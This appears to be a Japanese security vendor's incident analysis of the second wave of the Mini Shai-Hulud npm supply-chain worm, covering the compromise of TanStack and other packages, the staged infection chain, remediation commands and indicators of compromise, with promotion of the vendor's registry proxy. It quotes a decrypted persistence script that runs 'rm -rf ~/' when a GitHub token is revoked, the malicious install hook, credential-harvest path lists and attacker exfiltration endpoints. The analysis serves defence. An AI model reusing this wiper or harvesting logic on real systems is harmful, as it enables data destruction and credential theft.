
2026年5月12日、Mini Shai-Hulud キャンペーンの第二波が発生しました。TanStack Router を起点に、UiPath、Mistral AI SDK、DraftLab 等を含む 199 以上の npm パッケージが侵害されています。本稿執筆時点で、侵害可能性は継続しています。
第一波(4月29日〜30日)では SAP CAP 系・intercom-client・lightning の 6 パッケージが対象でしたが、第二波では CI/CD パイプラインの侵害によって有効な SLSA Provenance(Build Level 3)付きで悪性バージョンが公開されるなど、手法の進化が見られます。
本記事は、弊社が Takumi Guard の解析基盤をベースに観測&分析した情報の他、先行レポート(StepSecurity) および TanStack のポストモーテム を踏まえ、日本のコミュニティに向け、第一波記事(Mini Shai-Hulud の概要と対応指針)との差分を中心に整理するものです。
TL;DR - 対応指針
- 2026年5月11日に TanStack Router 系パッケージ及び、それに関連して侵害を受けたパッケージ(以下にリストを掲載)を
npm installした場合、マルウェア感染の可能性があります。 - 本キャンペーンはワーム型で、感染端末から、更に他の npm パッケージに感染を広げる仕組みを持ちます。
- 本稿執筆時点で、この連鎖が沈静化したエビデンスはありません。
- 今しばらく、他パッケージの利用にも留意が必要です。
- 影響を受けたバージョンをインストールしている場合は、クレデンシャルのローテーションより先に、永続化機構の無効化を行う必要があります。
- 感染端末では永続化サービス
gh-token-monitorが動作し、GitHub トークンの有効性を監視し、失効時にrm -rf ~/を実行します。 - npm トークンについても description に
IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner(脅迫メッセージ)が設定されますが、検体から確認できたモニタは GitHub トークンのみを監視する実装です。npm トークン側に同様のモニタが存在するかは未確認のため、同様に永続化除去を先行してください。
- 感染端末では永続化サービス
- 影響を受けたバージョンをインストールしている場合は、以下の順序で事後対応を進めてください。
- 永続化機構の停止と除去(最優先)
- macOS の場合、
~/Library/LaunchAgents/com.user.gh-token-monitor.plistをlaunchctl unloadしてから削除 - Linux の場合、
systemctl --user stop gh-token-monitor && systemctl --user disable gh-token-monitorを実行し、~/.config/systemd/user/gh-token-monitor.serviceを削除 .claude/settings.json、.claude/setup.mjs、.claude/router_runtime.js、.vscode/tasks.json、.vscode/setup.mjsを削除.github/workflows/codeql_analysis.ymlが攻撃者によって追加されていないか確認し、該当すれば削除
- macOS の場合、
- 安全なバージョンへの移行(各パッケージの直前直後の正規版にアップグレード/ダウングレード)
- クレデンシャルのローテーション(永続化の除去を確認した上で実施。漏洩可能性のあるクレデンシャルがある場合は、その影響がありうるクラウドリソースの監査ログも確認)
- 自 GitHub アカウント下に
{dune_word}-{dune_word}-{3桁}命名パターンの見知らぬリポジトリが作成されていないか、またその description にA Mini Shai-Hulud has Appearedを含むものがないか確認 - 各リポジトリで、未知のブランチや
.github/workflows/配下の新規ファイルがないか確認
- 永続化機構の停止と除去(最優先)
- ローテーションを検討すべきクレデンシャルの主要な範囲は、AWS(IAM / SSM Parameter Store / Secrets Manager)/ GCP / Azure / Kubernetes / Vault / GitHub / npm / SSH / Docker / 暗号資産ウォレット(Electrum, Ethereum, Monero, Exodus, Ledger Live 等)です。ウォレットの鍵の移行も検討してください。
- 本記事公開時点では、一部パッケージに関して、悪性バージョンが現存しています。Takumi Guard や minimum release age 設定(dependency cooldown)を通して、自衛してください。
- なお、今回の悪性バージョンには有効な SLSA 証明(Sigstore 署名付き)が付属しています。SLSA 検証を行っていた場合でも影響可能性があります。
- 弊社ログによると、Takumi Guard 利用ユーザーへの侵害は確認されていません。既にブロック済で、感染拡大先のパッケージも随時ブロックしていきます。
はじめに
本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。
タイムライン
起点となった TanStack Router 侵害のタイムラインは以下の通りです。
| 日時 (JST) | イベント |
|---|---|
| 5月12日 04:20 | @tanstack/* 系パッケージ 84 バージョンが侵害される(#25613093674) |
| 5月12日 04:26 | 追加で侵害が実施される(#25691781302) |
| 5月12日 ~06:00 前後 | 84 パッケージ全て deprecate |
これや、これに限らない追加侵害に影響を受け、他 npm パッケージに対しても Mini Shai-Hulud の悪性スクリプトが連鎖的に注入されています。本稿執筆時点でも完全に沈静化されておらず、今しばらく、他パッケージの利用にも留意が必要です。
侵害の仕組み
第一波の Stage 1〜5(前回記事参照)と関連付けながら、第二波の攻撃チェーンを記述します。第二波のペイロードは第一波と同じ Mini Shai-Hulud ファミリに属しますが、初期侵入経路・データ持ち出し・永続化手法・規模のいずれも大幅に進化しています。
| 第一波 (4/29-30) | 第二波 (5/12) | |
|---|---|---|
| 侵害パッケージ数 | 6 | 200超(集計中) |
| 対象エコシステム | npm + PyPI | npm |
| 主要被害者 | SAP CAP, Intercom, PyTorch Lightning | TanStack, UiPath, Mistral AI, DraftLab 等 |
| 初期侵入 | 窃取済み npm トークンを利用と見られる | CI/CD パイプラインの侵害 |
| データの持ち出し先 | GitHub リポジトリ + 攻撃者サーバ | GitHub リポジトリ + C2 + Session Protocol(E2E 暗号化) |
| 永続化 | IDE フック・GitHub Action ワークフロー | IDE フック・GitHub Action ワークフロー + OS レベル(LaunchAgent / systemd) |
Stage 1: マルウェアの起動
第一波では package.json の preinstall フックに node setup.mjs を挿入していましたが、第二波では optionalDependencies を利用した注入方式に変わっています。
ワームに感染したパッケージ(悪性バージョン)の package.json には、以下が追加されています。
{ "optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" } }
これは攻撃者の fork(voicproducoes/router、GitHub ID 269549300)内の orphan commit を参照しています。この @tanstack/setup パッケージの prepare スクリプトでローダが実行されます。
{ "prepare": "bun run tanstack_runner.js && exit 1" }
末尾の exit 1 は、optionalDependencies であるため graceful に失敗を装い、インストール自体はエラーにならずに続行させる仕組みです。&& により tanstack_runner.js が正常終了した場合にのみ exit 1 が実行されます。
@tanstack/setup パッケージは bun npm パッケージ(@oven/bun-linux-x64 等)を依存関係に持っており、npm のインストール過程で Bun ランタイムが先にインストールされます(node install.js)。その後 prepare スクリプトで tanstack_runner.js が Bun で実行されます。
tanstack_runner.js は第一波の setup.mjs と同様のローダで、次なるマルウェアコード router_init.js(約 2.3 MB)を実行します。router_init.js は @tanstack/react-router のパッケージ自体に同梱されています。
Stage 2: 悪性コード本体の取得
第二波のプライマリペイロードは router_init.js で、約 2.3 MB の単一行難読化 JavaScript です(第一波の execution.js / router_runtime.js は約 11〜12 MB)。これにより、正規パッケージの tarball は約 190 KB ですが、悪性版は約 905 KB に膨らんでいます(4.7 倍)。
第一波の execution.js / router_runtime.js(11〜12 MB)と比較して router_init.js(2.3 MB)は大幅に小型化されており、tarball のサイズ異常を目立たなくする工夫と考えられます。また、検体の静的解析のみで、(我々 GMO Flatt Security や Socket、Aikido のようなセキュリティ企業に)マルウェアとしてフラグされるのを回避するためであるとも予想されます。
なお、ここで取得されるファイルには、いいくつかの難読化が施されています。第一波の execution.js / router_runtime.js も難読化されていましたが、第二波では PBKDF2 の反復回数増加(200,000 回)や多層 AES-GCM ペイロードなど、解析耐性が強化されています。(おかげさまで、我々も解析にちょっと手間取りました。)
Stage 3: クレデンシャルの探索
ファイルベースの収集対象は第一波とほぼ共通で、100 以上のパスパターンに対してファイル収集を試みます(基本的なパスリストは第一波記事の Stage 2 を参照)。
ただし、第二波ではファイル収集に加え、クラウド API への能動的なアクセスが追加されており、ファイルとして保存されていないシークレットも窃取対象に含まれます。
静的解析、及び実行トレースから確認された探索対象は以下の通りです(※ 本稿執筆時点で解析は進行中で、不完全な可能性があります)。
ファイルベースのクレデンシャル収集(カテゴリ別):
| カテゴリ | 主な対象パス |
|---|---|
| AWS | ~/.aws/credentials, ~/.aws/config |
| GCP | ~/.config/gcloud/application_default_credentials.json |
| Azure | ~/.azure/accessTokens.json |
| Kubernetes | ~/.kube/config, /var/run/secrets/kubernetes.io/serviceaccount/namespace |
| HashiCorp Vault | ~/.vault-token, /run/secrets/vault_token |
| Docker | ~/.docker/config.json |
| SSH | ~/.ssh/id_rsa, ~/.ssh/id_ed25519 |
| Git | ~/.gitconfig, ~/.git-credentials, ~/.netrc |
| npm | ~/.npmrc |
| 暗号資産ウォレット | ~/.electrum/wallets, ~/.electrum-ltc/wallets, ~/.ethereum/keystore, ~/.monero, ~/.config/Exodus/exodus.wallet, Ledger Live, Atomic Wallet |
| メッセージングアプリ | Telegram (~/.config/telegram-desktop, ~/.local/share/TelegramDesktop/tdata), Signal, Discord (Local Storage/leveldb), Element (Matrix) |
| デスクトップ環境 | KWallet (~/.config/kwalletd), GNOME Keyring (~/.local/share/keyrings), NSS DB (~/.pki/nssdb) |
| リモートデスクトップ | Remmina (~/.config/remmina), OpenVPN (~/.cert/nm-openvpn) |
| その他 | Ansible (~/.ansible), Helm (~/.config/helm), Docker containers (/var/lib/docker/containers) |
GitHub CLI トークンの窃取:
ペイロード実行直後に gh auth token コマンドが実行され、GitHub CLI のローカル認証トークンの取得が試みられます。
クラウド API への能動的アクセス(第二波固有):
第一波ではファイルベースの収集のみでしたが、第二波のペイロードはクラウドプロバイダの API に直接アクセスし、ファイルに保存されていないシークレットの窃取を試みます。実行トレースでは以下のアクセスが観測されました。
| サービス | 内容 |
|---|---|
AWS STS (sts.us-east-1.amazonaws.com) |
窃取した AWS クレデンシャルの有効性検証 |
| AWS SSM Parameter Store | 17 リージョン(us-east-1, us-east-2, us-west-1, us-west-2, ap-northeast-1〜3, ap-south-1, ap-southeast-1〜2, ca-central-1, eu-central-1, eu-north-1, eu-west-1〜3, sa-east-1)の Parameter Store に対してシークレットの取得を試行 |
| AWS Secrets Manager | 同上 17 リージョンの Secrets Manager に対してシークレットの取得を試行(各リージョンに対して複数 IP でのフォールバック接続あり) |
| HashiCorp Vault | 127.0.0.1:8200 へのローカル Vault インスタンスのプローブ |
| AWS/GCP メタデータサービス | 169.254.169.254(IMDS)への認証情報の取得、169.254.170.2(ECS タスクメタデータ)へのアクセス |
Stage 4: 攻撃者サーバへのデータの持ち出し
第一波では GitHub パブリックリポジトリへの持ち出しがプライマリでしたが、第二波では 3 つの独立した持ち出しチャネルが実装されています。検体の解析から判明したオーケストレータ関数 wj() の構造を以下に示します。
wj() — Exfil オーケストレータ │ ├─ 1. クレデンシャル収集の完了を待機 ├─ 2. 収集結果(envelope 配列)を取得 │ ├─ 3. 3 つの sender を並列に初期化 │ ├─ A6 (DomainSender) : https://git-tanstack[.]com/router ← プライマリ C2 │ ├─ DV (SessionSender) : Session Protocol 経由 ← 常時並走 │ └─ $6 (GitHubSender) : api.github.com GraphQL ← フォールバック │ ├─ 4. A6 の健全性チェック (healthy()) │ └─ A6 が応答しない場合のみ、$6 (GitHub exfil) をアクティブ化 │ ├─ 5. gK (Dispatcher) が全 sender に envelope を分配・送信 │ └─ フラッシュ閾値 100 KB 単位でバッファリング │ ├─ 6. envelope 内に GitHub トークンがあれば tq (CI workflow injector) を実行 │ └─ ghs_old / ghs_jwt トークンで既存リポジトリにワークフロー注入 │ └─ 7. finalize → process.exit(0)
つまり、git-tanstack[.]com がプライマリ C2、Session Protocol が常時並走する第 2 経路、GitHub リポジトリへの持ち出しは git-tanstack[.]com が応答しない場合のフォールバックという優先順位です。第一波で GitHub がプライマリだった構成から大きく変化しています。
C2 ドメインへの持ち出し(プライマリ)
プライマリのデータ持ち出し先は攻撃者が管理する C2 ドメイン git-tanstack[.]com です。TanStack 公式のドメインを模倣した偽装ドメインで、HTTPS(ポート 443)で接続されます。
| 項目 | 値 |
|---|---|
| Exfil URL | https://git-tanstack[.]com:443/router |
| プロトコル | HTTPS POST |
| 優先度 | プライマリ(最初に健全性チェックが行われ、応答があれば優先使用) |
なお、codeql_analysis.yml の sv バリアントでは api[.]masscan[.]cloud/v2/upload への POST も確認されています。
Session Protocol を経由した持ち出し(常時並走)
窃取データは RSA-4096-OAEP + AES-256-GCM のハイブリッド暗号で暗号化された上で、Session メッセージングプロトコルの open-group file API に送信されます。この経路は C2 の可用性に関わらず常時並走します。
| 項目 | 値 |
|---|---|
| Exfil URL | http://filev2.getsession.org/file/{id} |
| Seed nodes | seed1.getsession.org, seed2.getsession.org, seed3.getsession.org |
| 受信者 Session ID | 05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026 |
| TLS ピン証明書 | CN=seed1.getsession.org、発行者 Oxen Privacy Tech Foundation(メルボルン、有効期限 2033 年) |
Session Protocol はエンドツーエンド暗号化のメッセージングインフラであり、通信経路の解析や取得データの復号が困難です。第一波よりも検出・対応が難しくなっています。(とはいえ業務端末などでは、これを用いる機会は稀でしょうから、ホストごとブロックして構わないのではないかと思います。)
GitHub への持ち出し(フォールバック)
C2 ドメイン(git-tanstack[.]com)が応答しない場合は、フォールバックとして、第一波と同様に GitHub GraphQL API による持ち出しが行われます。被害者のアカウント上に新規パブリックリポジトリを作成し、createCommitOnBranch mutation で窃取データを commit します。
| 項目 | 値 |
|---|---|
| リポジトリ命名 | {dune_word}-{dune_word}-{0〜999}(30 個の Dune 用語から生成) |
| リポジトリ設定 | private: false, auto_init: true, has_discussions/issues/wiki: false |
| Commit message headline | chore: update dependencies |
| Commit body | Co-authored-by: {name} <claude@users.noreply.github.com> |
| 大容量データ | 30 MB チャンク単位で base64 エンコード、data/{timestamp}-{counter}.json として commit |
| GraphQL バッチ | alias b0, b1... で createCommitOnBranch mutation をチャンクサイズ 2 で発行 |
Stage 5: 感染端末・GitHub での永続化
第一波の永続化手法(.claude/settings.json / .vscode/tasks.json の交差構造)に加え、第二波では OS レベルのサービス登録が追加されています。
永続化先とその内容の一覧
| 永続化手法 | パス | 第一波 | 第二波 |
|---|---|---|---|
| Claude Code SessionStart フック | .claude/settings.json |
あり | あり |
| VSCode folderOpen タスク | .vscode/tasks.json |
あり | あり |
| ローダ / ペイロードのコピー | .claude/setup.mjs, .vscode/setup.mjs 等 |
あり | あり |
| macOS LaunchAgent | ~/Library/LaunchAgents/com.user.gh-token-monitor.plist |
なし | あり |
| Linux systemd user service | ~/.config/systemd/user/gh-token-monitor.service |
なし | あり |
| GitHub Actions ワークフロー | .github/workflows/codeql_analysis.yml |
format-check.yml(mbt のみ) |
codeql_analysis.yml |
特徴: GitHub トークン無効化時に rm -rf ~/
前述のうち、gh-token-monitor 系は、60 秒ごとに https://api.github.com/user へ Bearer 認証をリクエストし、GitHub トークンの有効性を監視します。HTTP 40x(トークン失効)を検知すると、保存されたハンドラを eval で即座に実行します。24 時間の TTL が設定されており、未検知のまま経過すると自動終了します。
実際に eval で実行されるスクリプトを、検体からハンドラの中身を復号した結果は以下の通りです。
rm -rf ~/
つまり、ホームディレクトリの全消去です。 被害者がインシデント対応としてトークンを revoke した瞬間に rm -rf ~/ が発動するトラップとなります。対応時は、クレデンシャルのローテーションに先立ち、必ず gh-token-monitor サービスの停止と除去を行う必要があります(手順は対応指針を参照)。
gh-token-monitor の中核となるコード辺(検体内より復号・引用)。HANDLERが実際の感染時は rm -rf ~/ となる。
#!/usr/bin/env bash
set -euo pipefail
CONFIG_DIR="${HOME}/.config/gh-token-monitor"
GITHUB_TOKEN="$(cat "${CONFIG_DIR}/token")"
HANDLER="$(cat "${CONFIG_DIR}/handler")"
STARTED_FILE="${CONFIG_DIR}/started_at"
MAX_TTL=86400
CHECK_INTERVAL=60
if [[ ! -f "$STARTED_FILE" ]]; then
date +%s > "$STARTED_FILE"
fi
START_TIME=$(cat "$STARTED_FILE")
while true; do
ELAPSED=$(( $(date +%s) - START_TIME ))
if [[ $ELAPSED -ge $MAX_TTL ]]; then
echo "$(date '+%Y-%m-%dT%H:%M:%S%z') — 24h TTL reached. Exiting."
rm -f "$STARTED_FILE"
exit 0
fi
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/user") || true
if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
echo "$(date '+%Y-%m-%dT%H:%M:%S%z') — HTTP ${HTTP_STATUS}, running handler..."
eval "$HANDLER"
echo "$(date '+%Y-%m-%dT%H:%M:%S%z') — Handler finished. Exiting."
rm -f "$STARTED_FILE"
exit 0
fi
sleep $CHECK_INTERVAL
done
Stage 6: 他の npm パッケージへのマルウェア植え付け
ワーム拡散の基本フローは第一波と共通ですが、トークン取得経路と OIDC 交換の利用が拡張されています。
- トークン検出: 窃取した npm トークンの中から
bypass_2fa: true属性を持つものを選別 - パッケージ列挙:
https://registry.npmjs.org/-/v1/search?text=maintainer:{username}&size=250で被害者が publish 可能なパッケージを列挙 - tarball 改竄: 各パッケージの最新 tarball をダウンロードし、
router_init.js(2.3 MB)とoptionalDependenciesを注入したpackage.jsonを差し替え - OIDC トークン交換(CI/CD 環境の場合): GitHub OIDC トークンを
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/{pkg}で npm publish トークンに交換 - publish: 改竄済み tarball を npm registry に PUT。正規の CI/CD パイプラインを経由しているため、有効な SLSA provenance が付与される
この拡散メカニズムにより、TanStack の CI/CD 侵害を起点として、TanStack メンテナ(または TanStack パッケージをインストールした開発者)が publish 権限を持つ他パッケージへ連鎖的に感染が広がっています。UiPath(66 パッケージ)、Mistral AI、DraftLab 等への感染は、このワーム的自己拡散の結果と見られています。各非 TanStack パッケージの個別の侵害タイムラインは、本稿執筆時点で確定していません。
なお、第一波にはなかった脅迫的要素として、作成された npm トークンの description に以下が設定されています。
IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner
上述の Stage 5 で解析した通り、Github 側に対しては、実際に感染端末内のデータを削除する仕組みが確認されています。npm 側トークンの失効によって駆動される仕組みは、筆者は未だ明確には確認できていない(攻撃者はそのようなワイプの仕組みを持たない)ものの、単なるブラフと受け取りにくい状況ではあります。
対応指針
以下は公開情報を踏まえた参考情報であり、記録として示すものです。 正確性・網羅性を保証するものではなく、本指針に基づく対応の結果について筆者は一切の責任を負いません。 実際の対応は各組織の判断に基づいて行ってください。
対応の骨格は第一波の対応指針と共通ですが、第二波では OS レベルの永続化(gh-token-monitor)が追加されているため、クレデンシャルのローテーションより先に永続化機構の無効化が必須です。gh-token-monitor は GitHub トークンの有効性を 60 秒ごとに監視し、失効を検知すると rm -rf ~/ を実行します。永続化が稼働したままクレデンシャルを失効させると、ホームディレクトリ全体が削除されるリスクがあります。
1. 感染有無の確認
まず、感染の痕跡を確認します。以下のコマンドで何かヒットした場合は、感染端末として対応してください。
# 永続化ファイルの確認 find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs' # gh-token-monitor の確認 find ~/.config -name '*gh-token-monitor*' find ~/.local/bin -name 'gh-token-monitor.sh' # ロックファイルの確認 # ここまで説明していませんが、検体の一部で、重複稼働を避けるために用いられています find /tmp -name 'tmp.ts018051808.lock' # 実行中プロセスの確認 ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'
2. 永続化機構の停止と除去(最優先)
感染が確認された場合、他の対応に先立って以下を実行してください。
# macOS の場合 launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist # Linux の場合 systemctl --user stop gh-token-monitor 2>/dev/null systemctl --user disable gh-token-monitor 2>/dev/null rm -f ~/.config/systemd/user/gh-token-monitor.service systemctl --user daemon-reload # gh-token-monitor 関連ファイルの除去 rm -rf ~/.config/gh-token-monitor rm -f ~/.local/bin/gh-token-monitor.sh # IDE / AI コーディングアシスタントの永続化除去(各リポジトリのルートで実行) rm -f .claude/settings.json .claude/setup.mjs .claude/router_runtime.js rm -f .vscode/tasks.json .vscode/setup.mjs
3. GitHub Actions ワークフローの確認
第二波では codeql_analysis.yml が注入されます(第一波の format-check.yml に相当)。
# 各リポジトリで確認 git log --diff-filter=A --name-only -- .github/workflows/codeql_analysis.yml
該当するファイルが攻撃者による追加であれば削除してください。claude <claude@users.noreply.github.com> を author とする chore: update dependencies コミットで追加されているのが典型パターンです。
4. アンインストールと安全なバージョンへの移行
影響を受けたパッケージをアンインストールし、安全なバージョンを --ignore-scripts 付きで再インストールしてください。バージョンは各パッケージの状況に応じて確認してください。
5. クレデンシャルのローテーション
永続化の除去を確認した上で、当該端末内のあらゆるクレデンシャルを対象にローテーションを検討してください。第二波のペイロードは第一波よりもクレデンシャル収集範囲が広く、ファイルベースの収集に加えて AWS SSM Parameter Store / Secrets Manager への能動的なアクセスも行います。
6. クラウドシークレットの監査
影響を受けた環境で AWS クレデンシャルが有効だった場合、以下を確認してください。
- AWS CloudTrail で
ssm:GetParameter*/secretsmanager:GetSecretValue/secretsmanager:ListSecretsの不審な API コールがないか(17 リージョン分) - HashiCorp Vault の audit log に不審なアクセスがないか
- ECS / EC2 のメタデータサービス経由で取得された一時クレデンシャルのローテーション
7. GitHub アカウント・組織下の調査
{dune_word}-{dune_word}-{3桁} 命名のリポジトリと、description に A Mini Shai-Hulud has Appeared を含むリポジトリを確認してください。
gh repo list --json name,createdAt,description --limit 200 | \
jq '.[] | select(.createdAt | startswith("2026-05"))'
gh repo list --json name,description --limit 500 | \
jq '.[] | select(.description // "" | test("Mini Shai-Hulud|Shai-Hulud"; "i"))'
該当するリポジトリが見つかった場合、攻撃者が窃取したトークンで作成した、データの持ち出し先です。削除前にインシデントレスポンス証跡として内容の確保も検討してください。
8. ワークフロー・IDE 設定の注入調査
GitHub トークンが有効だった場合は、アクセス可能な他リポジトリへの工作物注入の可能性があります。以下を確認してください。
chore: update dependenciesの commit message でのコミットclaude <claude@users.noreply.github.com>を author とする unsigned コミット.github/workflows/codeql_analysis.ymlの新規追加.claude/settings.json/.vscode/tasks.jsonの変更
推奨:自衛手段の整備
3〜4月の Trivy・LiteLLM・Telnyx・axios・@bitwarden/cli、そして今回の Mini Shai-Hulud と、主要パッケージの侵害が連続して発生しています。対策の方向性は前回までと同じです。詳しくは Bitwarden CLI 侵害の対応指針 を参照してください。要点だけ再掲します。
Lifecycle script の無効化
CI/CD では以下を標準ポリシーにしてください。今回の npm 側 5 パッケージは、これだけで npm install 時の発火を止められます。
npm ci --ignore-scripts
ただし PyPI の lightning のように __init__.py 注入型は import 時に発火するため、lifecycle script の無効化では止まりません。後述の検疫期間とレジストリ側ブロックで補完してください。
Dependency Cooldown の設定(min-release-age)
npm v11 以降では .npmrc に min-release-age を設定することで、公開から一定期間が経過していないバージョンのインストールを抑止できます。今回の悪性バージョンはいずれも数時間〜1 日でテイクダウン済であり、検疫期間を入れていた環境はインストールに至っていません。7 日推奨、急ぐ場合でも 3 日は確保してください。
# .npmrc min-release-age=7
PyPI 側にも pip の --exclude-newer や uv の --exclude-newer 相当の指定で同等の抑止が可能です。
信頼性のダウングレードの拒否
pnpm の trustPolicy: no-downgrade は OIDC (Trusted Publishing) 経路から手動 publish へ切り替わったような信頼度低下を検出してブロックできます。
悪意のある依存をブロック(Takumi Guard)
弊社(GMO Flatt Security)から、セキュアなレジストリプロキシ Takumi Guard の npm エンドポイント をリリースしています。
Takumi Guard は npm(レジストリ)との間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。 弊社で全ての新規パッケージを検査し、ブロックリストを構築しています。 PyPI / RubyGems にも対応済です。導入は registry URL の変更のみで完了し、無料で利用可能です。
# npm npm config set registry https://npm.flatt.tech/ # yarn v1 yarn config set registry https://npm.flatt.tech # yarn v2+ yarn config set npmRegistryServer https://npm.flatt.tech # pnpm pnpm config set registry https://npm.flatt.tech/
仮にある時点でパッケージがマルウェアと判定できずブロックできなかった場合も、後日の通知を行う仕組みもあります(本機能も無料です)。 通知のためにはメールアドレス登録が必要となりますので、下記ページよりご登録ください。
複数端末の一括セットアップや管理者への通知など、法人向け管理機能(有償)も提供しています。 ご興味のある方はお問い合わせください。
IoCs
第一波の IoCs は前回記事を参照してください。以下は第二波で追加・変更された IoC です。
ハッシュ(SHA-256)
| ファイル | SHA-256 |
|---|---|
router_init.js |
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c |
tanstack_runner.js |
2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96 |
@tanstack/setup の package.json |
7c12d8614c624c70d6dd6fc2ee289332474abaa38f70ebe2cdef064923ca3a9b |
ネットワーク
| 種別 | 値 | 備考 |
|---|---|---|
| C2 | api[.]masscan[.]cloud |
第一波の zero[.]masscan[.]cloud から変更 |
| C2 | git-tanstack[.]com |
TanStack 偽装ドメイン |
| Exfil (Session) | filev2[.]getsession[.]org |
Session Protocol CDN |
| Exfil (Session) | seed1[.]getsession[.]org |
Session Protocol seed node |
| クレデンシャル探索 | ssm.{region}.amazonaws.com(17 リージョン) |
AWS SSM Parameter Store の走査 |
| クレデンシャル探索 | secretsmanager.{region}.amazonaws.com(17 リージョン) |
AWS Secrets Manager の走査 |
| クレデンシャル探索 | sts.us-east-1.amazonaws.com |
AWS STS によるクレデンシャル検証 |
| クレデンシャル探索 | 127.0.0.1:8200 |
HashiCorp Vault ローカルインスタンスの探索 |
| クレデンシャル探索 | 169.254.169.254(IMDS) |
クラウドメタデータサービスからのクレデンシャル取得 |
| クレデンシャル探索 | 169.254.170.2 |
ECS タスクメタデータからのクレデンシャル取得 |
GitHub 側の侵害痕
| 種別 | 値 |
|---|---|
| dead-drop author | claude <claude@users.noreply.github.com> |
| ブランチ名 | dependabot/github_actions/format/setup-formatter (※ 検体により末尾 setup-formatter 部分が dune word に置換される場合も) |
永続化 / 実行痕(第二波で追加)
| パス | 備考 |
|---|---|
~/Library/LaunchAgents/com.user.gh-token-monitor.plist |
macOS LaunchAgent |
~/.config/systemd/user/gh-token-monitor.service |
Linux systemd user service |
.github/workflows/codeql_analysis.yml |
シークレット漏洩用ワークフロー |
.claude/router_runtime.js |
Bun ペイロード |
.claude/setup.mjs / .vscode/setup.mjs |
ローダスクリプト |
暗号関連
| 種別 | 値 |
|---|---|
| PBKDF2 マスターキー | 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2176c40aa |
| PBKDF2 ソルト | svksjrhjkcejg |
| TLS ピン証明書 | CN=seed1.getsession.org、発行者: Oxen Privacy Tech Foundation(有効期限 2033 年) |
npm トークン
| 種別 | 値 |
|---|---|
| トークン description | IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner |
お知らせ(追記)
追記: 5月18日(月) 12:00より解説ウェビナーを開催します。
下記ページより事前登録いただければ、どなたも無料で視聴が可能です。